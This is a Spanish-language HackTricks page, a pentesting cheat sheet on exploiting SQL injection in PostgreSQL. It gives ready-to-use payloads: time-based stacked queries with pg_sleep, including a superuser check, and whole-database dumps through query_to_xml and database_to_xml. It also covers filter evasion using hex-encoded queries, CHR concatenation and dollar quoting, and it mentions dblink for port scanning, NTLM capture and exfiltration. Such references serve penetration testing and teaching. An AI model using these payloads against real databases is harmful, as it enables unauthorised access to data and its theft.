PostgreSQL injection

Apoya a HackTricks

Si estás interesado en una carrera de hacking y en hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).


Esta página tiene como objetivo explicar diferentes trucos que podrían ayudarte a explotar una inyección SQL encontrada en una base de datos postgresql y complementar los trucos que puedes encontrar en https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Interacción de Red - Escalación de Privilegios, Escáner de Puertos, divulgación de respuesta de desafío NTLM y Exfiltración

El módulo de PostgreSQL dblink ofrece capacidades para conectarse a otras instancias de PostgreSQL y ejecutar conexiones TCP. Estas características, combinadas con la funcionalidad COPY FROM, permiten acciones como escalación de privilegios, escaneo de puertos y captura de respuesta de desafío NTLM. Para métodos detallados sobre cómo ejecutar estos ataques, consulta cómo realizar estos ataques.

Puedes leer este ejemplo para ver un ejemplo de CTF de cómo cargar datos dentro de objetos grandes y luego exfiltrar el contenido de objetos grandes dentro del nombre de usuario de la función dblink_connect.

Ataques de PostgreSQL: Lectura/escritura, RCE, privesc

Consulta cómo comprometer el host y escalar privilegios desde PostgreSQL en:

5432,5433 - Pentesting Postgresql

Bypass de WAF

Funciones de cadena de PostgreSQL

Manipular cadenas podría ayudarte a eludir WAFs u otras restricciones. En esta página puedes encontrar algunas funciones de cadenas útiles.

Consultas Apiladas

Recuerda que PostgreSQL soporta consultas apiladas, pero varias aplicaciones generarán un error si se devuelven 2 respuestas cuando se espera solo 1. Sin embargo, aún puedes abusar de las consultas apiladas a través de inyección de tiempo:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

Trucos de XML

query_to_xml

Esta función devolverá todos los datos en formato XML en un solo archivo. Es ideal si deseas volcar una gran cantidad de datos en solo 1 fila:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Esta función volcará toda la base de datos en formato XML en solo 1 fila (ten cuidado si la base de datos es muy grande, ya que podrías provocar un DoS o incluso a tu propio cliente):

SELECT database_to_xml(true,true,'');

Cadenas en Hex

Si puedes ejecutar consultas pasándolas dentro de una cadena (por ejemplo, usando la query_to_xml función). Puedes usar convert_from para pasar la cadena como hex y eludir filtros de esta manera:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Citas prohibidas

Si no puedes usar comillas para tu carga útil, puedes eludir esto con CHR para cláusulas básicas (la concatenación de caracteres solo funciona para consultas básicas como SELECT, INSERT, DELETE, etc. No funciona para todas las declaraciones SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

O con $. Estas consultas devuelven los mismos resultados:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Si estás interesado en una carrera de hacking y hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).

Apoya a HackTricks

Last updated